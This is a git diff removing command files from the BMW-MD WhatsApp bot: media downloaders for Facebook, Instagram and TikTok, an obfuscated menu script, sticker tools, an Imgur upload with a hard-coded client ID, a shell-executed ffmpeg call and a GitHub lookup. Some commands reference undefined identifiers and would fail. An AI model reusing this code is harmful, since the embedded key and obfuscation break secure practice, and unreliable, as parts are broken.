- });
- } catch (_0x572051) {
- _0x56acc0("I am unable to download the file. \n " + _0x572051);
- }
-});
-adams({
- 'nomCom': 'fb',
- 'categorie': "Download",
- 'reaction': "📽️"
-}, async (_0x3a78a5, _0xc18979, _0xf0a7a0) => {
- const {
- repondre: _0x3c875a,
- ms: _0x2e8d37,
- arg: _0xd0f2d0
- } = _0xf0a7a0;
- if (!_0xd0f2d0[0]) {
- _0x3c875a("Insert a public facebook video link!");
- return;
- }
- const _0x5938f0 = _0xd0f2d0.join(" ");
- try {
- getFBInfo(_0x5938f0).then(_0x44be8d => {
- let _0x76640a = "\n *Title:* " + _0x44be8d.title + "\n\n \n *Direct Link:* " + _0x44be8d.url + "\n ";
- _0xc18979.sendMessage(_0x3a78a5, {
- 'image': {
- 'url': _0x44be8d.thumbnail
- },
- 'caption': _0x76640a
- }, {
- 'quoted': _0x2e8d37
- });
- _0xc18979.sendMessage(_0x3a78a5, {
- 'video': {
- 'url': _0x44be8d.hd
- },
- 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*"
- }, {
- 'quoted': _0x2e8d37
- });
- })["catch"](_0x41d84f => {
- console.log("Error:", _0x41d84f);
- _0x3c875a("try fb2 on this link");
- });
- } catch (_0x1d71c9) {
- console.error("An error occurred while *BMW-MD* was downloading your media:", _0x1d71c9);
- _0x3c875a("An error occurred while downloading your media.", _0x1d71c9);
- }
-});
-adams({
- 'nomCom': "fb2",
- 'categorie': "Download",
- 'reaction': "📽️"
-}, async (_0xcad438, _0x341fa4, _0x1bf24c) => {
- const {
- repondre: _0x55e155,
- ms: _0x41f279,
- arg: _0x2b5eb7
- } = _0x1bf24c;
- if (!_0x2b5eb7[0]) {
- _0x55e155("Insert a public facebook video link! !");
- return;
- }
- const _0x1fd99e = _0x2b5eb7.join(" ");
- try {
- getFBInfo(_0x1fd99e).then(_0x2bbae1 => {
- let _0x8231c = "\n *Title:* " + _0x2bbae1.title + "\n\n \n *Direct Link:* " + _0x2bbae1.url + "\n ";
- _0x341fa4.sendMessage(_0xcad438, {
- 'image': {
- 'url': _0x2bbae1.thumbnail
- },
- 'caption': _0x8231c
- }, {
- 'quoted': _0x41f279
- });
- _0x341fa4.sendMessage(_0xcad438, {
- 'video': {
- 'url': _0x2bbae1.sd
- },
- 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*"
- }, {
- 'quoted': _0x41f279
- });
- })["catch"](_0x3eb21d => {
- console.log("Error:", _0x3eb21d);
- _0x55e155(_0x3eb21d);
- });
- } catch (_0x2b1e09) {
- console.error("An error occurred while Bmw-Md was downloading your media:", _0x2b1e09);
- _0x55e155("An error occurred while Bmw-Md was downloading your media.", _0x2b1e09);
- }
-});
-
-
-const {adams} = require('../Ibrahim/adams');
-const fs = require('fs');
-const getFBInfo = require("@xaviabot/fb-downloader");
-const { default: axios } = require('axios');
-
-adams({nomCom : "instagram" , categorie : "Download"},async (dest , zk , commandeOptions)=>{
- const {ms,repondre,arg} = commandeOptions ;
-
- let link = arg.join(' ')
-
- if (!arg[0]) { repondre('Veillez insérer un lien video instagramme');return};
-
- try {
-
- let igvid = await axios('https://vihangayt.me/download/instagram?url='+link)
-
- if (igvid.data.data.data[0].type == 'video') {
- zk.sendMessage(dest,{video : {url : igvid.data.data.data[0].url},caption : "ig video downloader powered by *Bmw-Md*",gifPlayback : false },{quoted : ms})
- }
- else {
- zk.sendMessage(dest,{image : {url : igvid.data.data.data[0].url},caption : "ig image downloader powered by *Bmw-Md*"})
- }
-
- } catch (e) {repondre("erreur survenue lors du téléchargement \n " + e)}
-
-});
-
-
-adams({
- nomCom: "facabook",
- categorie: "Download",
- reaction: "📽️"
-},
-async (dest, zk, commandeOptions) => {
- const { repondre, ms, arg } = commandeOptions;
-
- if (!arg[0]) {
- repondre('Insert a public facebook video link!');
- return;
- }
-
- const queryURL = arg.join(" ");
-
- try {
- getFBInfo(queryURL)
- .then((result) => {
- let caption = `
- titre: ${result.title}
- Lien: ${result.url}
- `;
- zk.sendMessage(dest,{image : { url : result.thumbnail}, caption : caption},{quoted : ms}) ;
- zk.sendMessage(dest, { video: { url: result.hd }, caption: 'facebook video downloader powered by *Bmw-MD*' }, { quoted: ms });
-
- })
- .catch((error) => {console.log("Error:", error)
- repondre('try fbdl2 on this link')});
-
-
-
- } catch (error) {
- console.error('Erreur lors du téléchargement de la vidéo :', error);
- repondre('Erreur lors du téléchargement de la vidéo.' , error);
- }
-});
-
-
-
-adams({ nomCom: "tiktok", categorie: "Download", reaction: "🎵" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`how to use this command:\n ${prefixe}tiktok tiktok_video_link`);
- return;
- }
-
- const videoUrl = arg.join(" ");
-
- let data = await axios.get('https://vihangayt.me/download/tiktok?url='+ videoUrl) ;
-
- let tik = data.data.data
-
- // Envoi du message avec le thumbnail de la vidéo
- const caption = `
-Author: ${tik.author}
-Description: ${tik.desc}
- `;
-
-
- zk.sendMessage(dest, { video: { url: tik.links[0].a} , caption : caption },{quoted : ms});
-
-
-});
-
-adams({
- nomCom: "facebook2",
- categorie: "Download",
- reaction: "📽️"
-},
-async (dest, zk, commandeOptions) => {
- const { repondre, ms, arg } = commandeOptions;
-
- if (!arg[0]) {
- repondre('Insert a public facebook video link! !');
- return;
- }
-
- const queryURL = arg.join(" ");
-
- try {
- getFBInfo(queryURL)
- .then((result) => {
- let caption = `
- titre: ${result.title}
- Lien: ${result.url}
- `;
- zk.sendMessage(dest,{image : { url : result.thumbnail}, caption : caption},{quoted : ms}) ;
- zk.sendMessage(dest, { video: { url: result.sd }, caption: 'facebook video downloader powered by *Bmw-MD*' }, { quoted: ms });
-
- })
- .catch((error) => {console.log("Error:", error)
- repondre(error)});
-
-
-
- } catch (error) {
- console.error('Erreur lors du téléchargement de la vidéo :', error);
- repondre('Erreur lors du téléchargement de la vidéo.' , error);
- }
-});
-**/
diff --git a/scs/bmwcmd.js b/scs/bmwcmd.js
deleted file mode 100644
index c40e06e..0000000
--- a/scs/bmwcmd.js
+++ /dev/null
@@ -1,169 +0,0 @@
-
-const util = require('util');
-const fs = require('fs-extra');
-const { adams } = require(__dirname + "/../Ibrahim/adams");
-const { format } = require(__dirname + "/../Ibrahim/mesfonctions");
-const os = require("os");
-const moment = require("moment-timezone");
-const s = require(__dirname + "/../config");
-const more = String.fromCharCode(8206)
-const readmore = more.repeat(4001)
-
-adams({ nomCom: "cmd", categorie: "General" }, async (dest, zk, commandeOptions) => {
- let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
- let { cm } = require(__dirname + "/../Ibrahim//adams");
- var coms = {};
- var mode = "public";
-
- if ((s.MODE).toLocaleLowerCase() != "yes") {
- mode = "private";
- }
-
-
-
-
- cm.map(async (com, index) => {
- if (!coms[com.categorie])
- coms[com.categorie] = [];
- coms[com.categorie].push(com.nomCom);
- });
-
- moment.tz.setDefault("Africa/Nairobi");
-
-// Créer une date et une heure en GMT
-const temps = moment().format('HH:mm:ss');
-const date = moment().format('DD/MM/YYYY');
-
- let infoMsg = `
- *Hey🖐️* *${nomAuteurMessage}*
-
- *BMW MD IS RUNNING WITH [${cm.length}0] COMMANDS*
-
- *More commands will be out soon*
-
- 🚘🚘🚘
- `;
-
-let menuMsg = `
-> ⏲️ ᴛɪᴍᴇ: ${temps}
-> 📅 ᴅᴀᴛᴇ: ${date}
-
-
-> Made by : ©Ibrahim Adams
-`;
-
- var lien = mybotpic();
-
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" , gifPlayback : true }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Vérification pour .jpeg ou .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
-
- repondre(infoMsg + menuMsg);
-
-}
-
-});
-
-
-/*const util = require('util');
-const fs = require('fs-extra');
-const { zokou } = require(__dirname + "/../framework/zokou");
-const { format } = require(__dirname + "/../framework/mesfonctions");
-const os = require("os");
-const moment = require("moment-timezone");
-const s = require(__dirname + "/../set");
-const more = String.fromCharCode(8206)
-const readmore = more.repeat(4001)
-
-zokou({ nomCom: "script", categorie: "General" }, async (dest, zk, commandeOptions) => {
- let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
- let { cm } = require(__dirname + "/../framework//zokou");
- var coms = {};
- var mode = "public";
-
- if ((s.MODE).toLocaleLowerCase() != "yes") {
- mode = "private";
- }
-
-
-
-
- cm.map(async (com, index) => {
- if (!coms[com.categorie])
- coms[com.categorie] = [];
- coms[com.categorie].push(com.nomCom);
- });
-
- moment.tz.setDefault('Etc/GMT');
-
-// Créer une date et une heure en GMT
-const temps = moment().format('HH:mm:ss');
-const date = moment().format('DD/MM/YYYY');
-
- let infoMsg = `
- *BMW MD IMPORTANT INFO*
-❒───────────────────❒
-*GITHUB LINK*
-> https://github.com/ibrahimaitech/BMW-MD
-
-*WHATSAPP CHANNEL*
-> https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y
-
-*FOR MORE INFO TAP ON THE LINK BELOW*
-> https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO
-╭───────────────────❒
-│❒ *RAM* : ${format(os.totalmem() - os.freemem())}/${format(os.totalmem())}
-│❒ *DEV* : *Ibrahim Adams*
-╰───────────────────❒
- `;
-
-let menuMsg = `
- 𝑰𝑩𝑹𝑨𝑯𝑰𝑴 𝑨𝑫𝑨𝑴𝑺 𝑺𝑪𝑰𝑬𝑵𝑪𝑬
-
-❒────────────────────❒`;
-
- var lien = mybotpic();
-
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *Beltahmd*, déveloper Beltah Tech" , gifPlayback : true }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Vérification pour .jpeg ou .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *Beltahmd*, déveloper Beltah Tech" }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
-
- repondre(infoMsg + menuMsg);
-
-}
-
-});*/
diff --git a/scs/bmwcmds.js b/scs/bmwcmds.js
deleted file mode 100644
index 69dea5c..0000000
--- a/scs/bmwcmds.js
+++ /dev/null
@@ -1,2 +0,0 @@
-
-const _0x52f686=_0xbf0b;function _0xbf0b(_0x391867,_0x3fd588){const _0x679074=_0x6790();return _0xbf0b=function(_0xbf0b42,_0x55b571){_0xbf0b42=_0xbf0b42-0x1a7;let _0x3f68fa=_0x679074[_0xbf0b42];return _0x3f68fa;},_0xbf0b(_0x391867,_0x3fd588);}(function(_0x197893,_0x4de6c2){const _0x58d7c6=_0xbf0b,_0x383157=_0x197893();while(!![]){try{const _0x2f2628=parseInt(_0x58d7c6(0x1b5))/0x1+parseInt(_0x58d7c6(0x1cc))/0x2+parseInt(_0x58d7c6(0x1b6))/0x3+parseInt(_0x58d7c6(0x1c0))/0x4*(-parseInt(_0x58d7c6(0x1d2))/0x5)+-parseInt(_0x58d7c6(0x1c3))/0x6*(parseInt(_0x58d7c6(0x1ca))/0x7)+-parseInt(_0x58d7c6(0x1bb))/0x8*(-parseInt(_0x58d7c6(0x1b2))/0x9)+-parseInt(_0x58d7c6(0x1ab))/0xa*(parseInt(_0x58d7c6(0x1ce))/0xb);if(_0x2f2628===_0x4de6c2)break;else _0x383157['push'](_0x383157['shift']());}catch(_0x4a13de){_0x383157['push'](_0x383157['shift']());}}}(_0x6790,0xcb284));function _0x6790(){const _0x190b74=['log','util','420QGfXfa','*╭────❒*\x20*','private','HH:mm:ss','match','map','setDefault','117svNpqA','categorie','\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x20','1414471rqDCcA','4091628dkOjdX','/../config','nomCom','fs-extra','sendMessage','310952KdopCr','moment-timezone','/../Ibrahim/adams','commands','Africa/Nairobi','212rxzYwc','MODE','*\x20*❒*','31614LvDfqa','public','DD/MM/YYYY','format','General','\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄᴏᴍᴍᴀɴᴅ\x20ʟɪsᴛ\x0a╰─────═━┈┈━═──━┈⊷\x0a\x20','push','1043Krhmsw','repeat','1169918iKSwEv','🥵🥵\x20Menu\x20erreur\x20','561638JZjwrM','fromCharCode','toLocaleLowerCase','\x20\x0a*THIS\x20COMMANDS\x20WILL*\x0a*HELP\x20YOU\x20KNOW\x20HOW*\x0a*TO\x20USE\x20ME*\x0a\x0a','10090iQAbYA','*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams','\x20\x20\x0a*╏*\x20','\x0a*╰─═════════════❒*\x20\x0a'];_0x6790=function(){return _0x190b74;};return _0x6790();}const util=require(_0x52f686(0x1aa)),fs=require(_0x52f686(0x1b9)),{adams}=require(__dirname+_0x52f686(0x1bd)),{format}=require(__dirname+'/../Ibrahim/mesfonctions'),os=require('os'),moment=require(_0x52f686(0x1bc)),s=require(__dirname+_0x52f686(0x1b7)),more=String[_0x52f686(0x1cf)](0x200e),Taphere=more[_0x52f686(0x1cb)](0xfa1);adams({'nomCom':_0x52f686(0x1be),'categorie':_0x52f686(0x1c7)},async(_0x20205d,_0x2723b9,_0x4f7b48)=>{const _0x29beab=_0x52f686;let {ms:_0x573ec4,repondre:_0x64ddf,prefixe:_0x1e27c0,nomAuteurMessage:_0x212e3a,mybotpic:_0xfc909a}=_0x4f7b48,{cm:_0x55d2f6}=require(__dirname+'/../Ibrahim//adams');var _0x5e4349={},_0x36dec9=_0x29beab(0x1c4);s[_0x29beab(0x1c1)][_0x29beab(0x1d0)]()!='yes'&&(_0x36dec9=_0x29beab(0x1ad));_0x55d2f6[_0x29beab(0x1b0)](async(_0x59d8bc,_0x5cc03a)=>{const _0x1388eb=_0x29beab;if(!_0x5e4349[_0x59d8bc['categorie']])_0x5e4349[_0x59d8bc['categorie']]=[];_0x5e4349[_0x59d8bc[_0x1388eb(0x1b3)]][_0x1388eb(0x1c9)](_0x59d8bc[_0x1388eb(0x1b8)]);}),moment['tz'][_0x29beab(0x1b1)](_0x29beab(0x1bf));const _0x18cd9e=moment()[_0x29beab(0x1c6)](_0x29beab(0x1ae)),_0x3bfad1=moment()[_0x29beab(0x1c6)](_0x29beab(0x1c5));let _0x24b795=_0x29beab(0x1d1),_0x1de705=_0x29beab(0x1c8);for(const _0x411e45 in _0x5e4349){_0x1de705+=_0x29beab(0x1ac)+_0x411e45+_0x29beab(0x1c2);for(const _0x3fdf8a of _0x5e4349[_0x411e45]){_0x1de705+=_0x29beab(0x1a7)+_0x3fdf8a;}_0x1de705+=_0x29beab(0x1a8);}_0x1de705+=_0x29beab(0x1b4);var _0x34d957=_0xfc909a();if(_0x34d957[_0x29beab(0x1af)](/\.(mp4|gif)$/i))try{_0x2723b9[_0x29beab(0x1ba)](_0x20205d,{'video':{'url':_0x34d957},'caption':_0x24b795+_0x1de705,'footer':_0x29beab(0x1d3),'gifPlayback':!![]},{'quoted':_0x573ec4});}catch(_0x5cf000){console[_0x29beab(0x1a9)]('🥵🥵\x20Menu\x20erreur\x20'+_0x5cf000),_0x64ddf(_0x29beab(0x1cd)+_0x5cf000);}else{if(_0x34d957[_0x29beab(0x1af)](/\.(jpeg|png|jpg)$/i))try{_0x2723b9[_0x29beab(0x1ba)](_0x20205d,{'image':{'url':_0x34d957},'caption':_0x24b795+_0x1de705,'footer':'Je\x20suis\x20*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams'},{'quoted':_0x573ec4});}catch(_0xb94b3d){console[_0x29beab(0x1a9)](_0x29beab(0x1cd)+_0xb94b3d),_0x64ddf(_0x29beab(0x1cd)+_0xb94b3d);}else _0x64ddf(_0x24b795+_0x1de705);}});
diff --git a/scs/bmwco.js b/scs/bmwco.js
deleted file mode 100644
index 14ad76c..0000000
--- a/scs/bmwco.js
+++ /dev/null
@@ -1,390 +0,0 @@
-//adams code
-
-const { Sticker, createSticker, StickerTypes } = require('wa-sticker-formatter');
-const { adams } = require("../Ibrahim/adams");
-const traduire = require("../Ibrahim/traduction");
-const { downloadMediaMessage, downloadContentFromMessage } = require('@whiskeysockets/baileys');
-const fs = require("fs-extra");
-const axios = require('axios');
-const { exec } = require("child_process");
-const ffmpeg = require("fluent-ffmpeg");
-const FormData = require('form-data');
-const { Catbox } = require('node-catbox'); // Import Catbox
-
-const catbox = new Catbox();
-
-async function uploadToCatbox(Path) {
- if (!fs.existsSync(Path)) {
- throw new Error("Fichier non existant");
- }
-
- try {
- // Use Catbox to upload the file
- const response = await catbox.uploadFile({
- path: Path // Provide the path to the file
- });
-
- if (response) {
- return response; // returns the uploaded file URL
- } else {
- throw new Error("Erreur lors de la récupération du lien du fichier");
- }
- } catch (err) {
- throw new Error(String(err));
- }
-}
-
-adams({ nomCom: "url", categorie: "General", reaction: "👨🏿💻" }, async (origineMessage, zk, commandeOptions) => {
- const { msgRepondu, repondre } = commandeOptions;
-
- if (!msgRepondu) {
- repondre('mention a image or video');
- return;
- }
-
- let mediaPath, mediaType;
-
- if (msgRepondu.videoMessage) {
- const videoSize = msgRepondu.videoMessage.fileLength; // Get the video size in bytes
-
- // Check if the video size exceeds the limit (e.g., 50MB = 50 * 1024 * 1024 bytes)
- if (videoSize > 50 * 1024 * 1024) {
- repondre('The video is too long. Please send a smaller video.');
- return;
- }
-
- mediaPath = await zk.downloadAndSaveMediaMessage(msgRepondu.videoMessage);
- mediaType = 'video';
- } else if (msgRepondu.imageMessage) {
- mediaPath = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage);
- mediaType = 'image';
- } else {
- repondre('reply to an image or video');
- return;
- }
-
- try {
- const catboxUrl = await uploadToCatbox(mediaPath);
- fs.unlinkSync(mediaPath); // Supprime le fichier après utilisation
-
- // Respond with a custom message based on media type
- if (mediaType === 'image') {
- repondre(`Below is your image URL:\n${catboxUrl}`);
- } else if (mediaType === 'video') {
- repondre(`Below is your video URL:\n${catboxUrl}`);
- }
- } catch (error) {
- console.error('Error while creating your url:', error);
- repondre('Oops error');
- }
-});
-
-adams({nomCom:"sticker",categorie: "Conversion", reaction: "👨🏿💻"},async(origineMessage,zk,commandeOptions)=>{
-
-let {ms,mtype,arg,repondre,nomAuteurMessage}=commandeOptions
- var txt=JSON.stringify(ms.message)
-
- var mime=mtype === "imageMessage" || mtype === "videoMessage";
- var tagImage = mtype==="extendedTextMessage" && txt.includes("imageMessage")
- var tagVideo = mtype==="extendedTextMessage" && txt.includes("videoMessage")
-
-const alea = (ext) => {
- return `${Math.floor(Math.random() * 10000)}${ext}`;};
-
-
- const stickerFileName = alea(".webp");
-
-
- // image
- if (mtype === "imageMessage" ||tagImage) {
- let downloadFilePath;
- if (ms.message.imageMessage) {
- downloadFilePath = ms.message.imageMessage;
- } else {
- // picture mentioned
- downloadFilePath =
- ms.message.extendedTextMessage.contextInfo.quotedMessage.imageMessage;
- }
- // picture
- const media = await downloadContentFromMessage(downloadFilePath, "image");
- let buffer = Buffer.from([]);
- for await (const elm of media) {
- buffer = Buffer.concat([buffer, elm]);
- }
-
- sticker = new Sticker(buffer, {
- pack:"BMW-MD",
- author: nomAuteurMessage,
- type:
- arg.includes("crop") || arg.includes("c")
- ? StickerTypes.CROPPED
- : StickerTypes.FULL,
- quality: 100,
- });
- } else if (mtype === "videoMessage" || tagVideo) {
- // videos
- let downloadFilePath;
- if (ms.message.videoMessage) {
- downloadFilePath = ms.message.videoMessage;
- } else {
- downloadFilePath =
- ms.message.extendedTextMessage.contextInfo.quotedMessage.videoMessage;
- }
- const stream = await downloadContentFromMessage(downloadFilePath, "video");
- let buffer = Buffer.from([]);
- for await (const elm of stream) {
- buffer = Buffer.concat([buffer, elm]);
- }
-
- sticker = new Sticker(buffer, {
- pack:"BMW-MD", // pack stick
- author: nomAuteurMessage, // name of the author of the stick
- type:
- arg.includes("-r") || arg.includes("-c")
- ? StickerTypes.CROPPED
- : StickerTypes.FULL,
- quality: 40,
- });
- } else {
- repondre("Please mention an image or video!");
- return;
- }
-
- await sticker.toFile(stickerFileName);
- await zk.sendMessage(
- origineMessage,
- {
- sticker: fs.readFileSync(stickerFileName),
- },
- { quoted: ms }
- );
-
-try{
- fs.unlinkSync(stickerFileName)
-}catch(e){console.log(e)}
-
-
-
-
-
-
-});
-
-adams({nomCom:"scrop",categorie: "Conversion", reaction: "👨🏿💻"},async(origineMessage,zk,commandeOptions)=>{
- const {ms , msgRepondu,arg,repondre,nomAuteurMessage} = commandeOptions ;
-
- if(!msgRepondu) { repondre( 'make sure to mention the media' ) ; return } ;
- if(!(arg[0])) {
- pack = nomAuteurMessage
- } else {
- pack = arg.join(' ')
- } ;
- if (msgRepondu.imageMessage) {
- mediamsg = msgRepondu.imageMessage
- } else if(msgRepondu.videoMessage) {
-mediamsg = msgRepondu.videoMessage
- }
- else if (msgRepondu.stickerMessage) {
- mediamsg = msgRepondu.stickerMessage ;
- } else {
- repondre('Uh media please'); return
- } ;
-
- var stick = await zk.downloadAndSaveMediaMessage(mediamsg)
-
- let stickerMess = new Sticker(stick, {
- pack: Bmw-Md,
-
- type: StickerTypes.CROPPED,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 70,
- background: "transparent",
- });
- const stickerBuffer2 = await stickerMess.toBuffer();
- zk.sendMessage(origineMessage, { sticker: stickerBuffer2 }, { quoted: ms });
-
-});
-
-adams({nomCom:"take",categorie: "Conversion", reaction: "👨🏿💻"},async(origineMessage,zk,commandeOptions)=>{
- const {ms , msgRepondu,arg,repondre,nomAuteurMessage} = commandeOptions ;
-
- if(!msgRepondu) { repondre( 'make sure to mention the media' ) ; return } ;
- if(!(arg[0])) {
- pack = nomAuteurMessage
- } else {
- pack = arg.join(' ')
- } ;
- if (msgRepondu.imageMessage) {
- mediamsg = msgRepondu.imageMessage
- } else if(msgRepondu.videoMessage) {
-mediamsg = msgRepondu.videoMessage
- }
- else if (msgRepondu.stickerMessage) {
- mediamsg = msgRepondu.stickerMessage ;
- } else {
- repondre('Uh a media please'); return
- } ;
-
- var stick = await zk.downloadAndSaveMediaMessage(mediamsg)
-
- let stickerMess = new Sticker(stick, {
- pack: BMW-MD,
-
- type: StickerTypes.FULL,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 70,
- background: "transparent",
- });
- const stickerBuffer2 = await stickerMess.toBuffer();
- zk.sendMessage(origineMessage, { sticker: stickerBuffer2 }, { quoted: ms });
-
-});
-
-
-
-adams({ nomCom: "write", categorie: "Conversion", reaction: "👨🏿💻" }, async (origineMessage, zk, commandeOptions) => {
- const { ms, msgRepondu, arg, repondre, nomAuteurMessage } = commandeOptions;
-
- if (!msgRepondu) {
- repondre('Please mention an image');
- return;
- }
-
- if (!msgRepondu.imageMessage) {
- repondre('The command only works with images');
- return;
- } ;
- text = arg.join(' ') ;
-
- if(!text || text === null) {repondre('Make sure to insert text') ; return } ;
-
-
- const mediamsg = msgRepondu.imageMessage;
- const image = await zk.downloadAndSaveMediaMessage(mediamsg);
-
- //Create a FormData object
- const data = new FormData();
- data.append('image', fs.createReadStream(image));
-
- //Configure headers
- const clientId = 'b40a1820d63cd4e'; // Replace with your Imgur client ID
- const headers = {
- 'Authorization': `Client-ID ${clientId}`,
- ...data.getHeaders()
- };
-
- // Configure the query
- const config = {
- method: 'post',
- maxBodyLength: Infinity,
- url: 'https://api.imgur.com/3/image',
- headers: headers,
- data: data
- };
-
- try {
- const response = await axios(config);
- const imageUrl = response.data.data.link;
- console.log(imageUrl)
-
- //Use imageUrl however you want (meme creation, etc.)
- const meme = `https://api.memegen.link/images/custom/-/${text}.png?background=${imageUrl}`;
-
- // Create the sticker
- const stickerMess = new Sticker(meme, {
- pack: nomAuteurMessage,
- author: 'BMW-MD',
- type: StickerTypes.FULL,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 70,
- background: "transparent",
- });
-
- const stickerBuffer2 = await stickerMess.toBuffer();
- zk.sendMessage(
- origineMessage,
- { sticker: stickerBuffer2 },
- { quoted: ms }
- );
-
- } catch (error) {
- console.error('Error uploading to Imgur :', error);
- repondre('An error occurred while creating the meme.');
- }
-});
-
-
-
-adams({nomCom:"photo",categorie: "Conversion", reaction: "👨🏿💻"},async(dest,zk,commandeOptions)=>{
- const {ms , msgRepondu,arg,repondre,nomAuteurMessage} = commandeOptions ;
-
- if(!msgRepondu) { repondre( 'make sure to mention the media' ) ; return } ;
-
- if (!msgRepondu.stickerMessage) {
- repondre('Um mention a non-animated sticker'); return
- } ;
-
- let mediaMess = await zk.downloadAndSaveMediaMessage(msgRepondu.stickerMessage);
-
- const alea = (ext) => {
- return `${Math.floor(Math.random() * 10000)}${ext}`;};
-
- let ran = await alea(".png");
-
-
- exec(`ffmpeg -i ${mediaMess} ${ran}`, (err) => {
- fs.unlinkSync(mediaMess);
- if (err) {
- zk.sendMessage(
- dest,
- {
- text: 'A non-animated sticker please',
- },
- { quoted: ms }
- );
- return;
- }
- let buffer = fs.readFileSync(ran);
- zk.sendMessage(
- dest,
- { image: buffer },
- { quoted: ms }
- );
- fs.unlinkSync(ran);
- });
-});
-
-adams({ nomCom: "trt", categorie: "Conversion", reaction: "👨🏿💻" }, async (dest, zk, commandeOptions) => {
-
- const { msgRepondu, repondre , arg } = commandeOptions;
-
-
- if(msgRepondu) {
- try {
-
-
-
- if(!arg || !arg[0]) { repondre('(eg : trt en)') ; return }
-
-
- let texttraduit = await traduire(msgRepondu.conversation , {to : arg[0]}) ;
-
- repondre(texttraduit)
-
- } catch (error) {
-
- repondre('Mention a texte Message') ;
-
- }
-
- } else {
-
- repondre('Mention a texte Message')
- }
-
-
-
-}) ;
diff --git a/scs/bmwcu.js b/scs/bmwcu.js
deleted file mode 100644
index ff1c267..0000000
--- a/scs/bmwcu.js
+++ /dev/null
@@ -1,29 +0,0 @@
-const {
- adams
-} = require("../Ibrahim/adams");
-adams({
- 'nomCom': 'github',
- 'reaction': '📃',
- 'categorie': "Search"
-},
- async (_0x52e003, _0x14d9f6, _0x5f1e4d) => {
- const _0x3c7f3f = _0x4f7595.join(" ");
- if (!_0x3c7f3f) {
- return _0x3b1d82("Give me a valid github username like: " + _0x4fdb82 + "github ibrahimaitech");
- }
- const _0x5d3fd3 = await fetch("https://api.github.com/users/" + _0x3c7f3f);
- const _0x546dd2 = await _0x5d3fd3.json();
- const _0x5892a1 = _0x546dd2.id;
- const _0x9d02ae = _0x546dd2.name;
- const _0x406595 = _0x546dd2.login;
- const _0x3a4d0f = _0x546dd2.bio;
- const _0x34623f = _0x546dd2.company;
- const _0x5b8e0e = _0x546dd2.location;
- const _0x24d738 = _0x546dd2.email;
- const _0x3a22e7 = _0x546dd2.blog;
- const _0x170599 = _0x546dd2.repos_url;
- const _0x1ada1e = _0x546dd2.gists_url;
- const _0x1f7a0c = _0x546dd2.followers;
- const _0x86d2d1 = _0x546dd2.following;
- await _0x3b1d82("\n °GITHUB USER INFO°\n \n🚩 Id : " + _0x5892a1 + "\n🔖 Name : " + _0x9d02ae + "\n🔖 Username : " + _0x406595 + "\n✨ Bio : " + _0x3a4d0f + "\n🏢 Company : " + _0x34623f + "\n📍 Location : " + _0x5b8e0e + "\n📧 Email : " + _0x24d738 + "\n📰 Blog : " + _0x3a22e7 + "\n🔓 Public Repo : " + _0x170599 + "\n🔐 Public Gists : " + _0x1ada1e + "\n👪 Followers : " + _0x1f7a0c + "\n🫶 Following : " + _0x86d2d1);
-});
diff --git a/scs/bmwd.js b/scs/bmwd.js
deleted file mode 100644
index 43b22d7..0000000
--- a/scs/bmwd.js
+++ /dev/null
@@ -1,602 +0,0 @@
-const { adams } = require('../Ibrahim/adams');
-const axios = require("axios")
-let { Sticker, createSticker, StickerTypes } = require('wa-sticker-formatter');
-const {isUserBanned , addUserToBanList , removeUserFromBanList} = require("../lib/banUser");
-const {addGroupToBanList,isGroupBanned,removeGroupFromBanList} = require("../lib/banGroup");
-const {isGroupOnlyAdmin,addGroupToOnlyAdminList,removeGroupFromOnlyAdminList} = require("../lib/onlyAdmin");
-const {removeSudoNumber,addSudoNumber,issudo} = require("../lib/sudo");
-//const conf = require("../set");
-//const fs = require('fs');
-const sleep = (ms) =>{
- return new Promise((resolve) =>{ setTimeout (resolve, ms)})
-
- } ;
-
-
